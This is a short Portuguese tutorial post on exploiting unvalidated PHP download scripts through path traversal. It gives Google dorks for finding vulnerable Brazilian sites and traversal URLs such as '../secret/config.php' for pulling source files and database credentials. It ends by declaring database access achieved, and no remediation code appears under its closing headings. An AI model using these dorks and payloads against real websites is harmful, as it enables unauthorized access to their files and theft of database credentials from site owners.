Vamos falar de falhas.
Deis uma volta no Google "Uma busca avançada", percebi que 40% de alguns sites estão vulneráveis ao Attack FOPEN é algo simples e de certa forma avassalador se feito por alguém Mal-intencionado.
Referencia:
http://php.net/manual/pt_BR/function.fopen.php
Dork:
site:br inurl:download.php?file=
site:br inurl:baixar.php?arquivo=
inurl:dow.php?file=
Só exemplos de dorks use sua criatividade.
Com Certeza alguns de vocês já fizeram algum download isso é #fato!.
Hoje vamos dar uma olhada no como o código PHP se comporta no dow.
Site ex: wwww.sitevull.com.br/baixar.php?arquivo=tutorial.pdf
O que acontece é que os GET's passados na URL estão sem validação, Assim com um simples trocar de parâmetro é possível baixar arquivos do site alvo.
ex: wwww.sitevull.com.br/baixar.php?arquivo=index.php
ex: wwww.sitevull.com.br/baixar.php?arquivo=index.html
Assim vai mais digamos, que no mesmo site você tem o seguinte cenário.
wwww.sitevull.com.br/admin
Vamos baixar o index da pasta Admin.
ex: wwww.sitevull.com.br/baixar.php?arquivo=../admin/index.php
Dentro da index Admin #fato que tem uma include ou require pra validar as informações passadas no form.
vamos dizer que encontramos no nosso alvo fictício um include para o arquivo de conexão com banco.
include("/secret/config.php");
?>
Vamos na url vulnerável e baixar o arquivo config.php
ex: wwww.sitevull.com.br/baixar.php?arquivo=../secret/config.php
Conteúdo do tipo.
$user_site = "web_teste";
$user_site = "testepp";
$senha_site = "testeppg";
$host = "sitevull.com.br ";//IP TESTE
$conexao = mssql_connect($host,$user_site,$senha_site) or die("Erro");
$banco = "gppepe";
Pronto conseguimos acesso ao banco do site sem usar um script ou programa.
Forma errada sem validação:
Forma menos errada sem validação: